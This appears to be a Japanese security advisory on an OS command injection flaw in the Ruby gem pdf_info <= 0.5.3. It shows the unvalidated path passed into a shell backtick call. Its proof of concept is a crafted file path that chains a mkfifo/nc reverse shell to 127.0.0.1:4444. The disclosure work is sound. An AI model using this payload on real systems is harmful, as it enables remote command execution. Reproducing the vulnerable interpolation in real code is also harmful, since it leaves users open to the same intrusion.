
pdf_info <= 0.5.3 OSコマンドインジェクション
Ruby gem pdf_info <= 0.5.3 は、PDF::Info オブジェクト上でメソッドを実行する際に OS コマンドインジェクションの脆弱性があります。
攻撃者は特別に細工されたペイロードを使用して、コマンドチェーンを利用して OS コマンドを実行する可能性があります。
新しい PDF::Info オブジェクトを作成するときに initialize メソッドが呼び出されます
def initialize(pdf_path)
@pdf_path = pdf_path
end
オブジェクトの初期化中に検証は行われず、ユーザーが指定したパスが使用されます。
以下を使用して PDF::Info オブジェクトを作成し、PDF のメタデータを返すことができます。
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
PDF::Info オブジェクトで metadata メソッドを呼び出すと、引数として command メソッドが渡された process_output メソッドが呼び出されます。
command メソッドは @pdf_info クラス変数を使用して、システム上で pdfinfo コマンドを実行し、以下のコードスニペットを使用してコマンドの出力を返します。
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
initialize メソッドと同様に、@pdf_path 変数に対する検証は行われません。これにより、; を使用したコマンドチェーンを利用して任意のコマンドを実行できます。
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
上記のコードスニペットは、ポート 4444 で 127.0.0.1 へのリバースシェルを実行します。
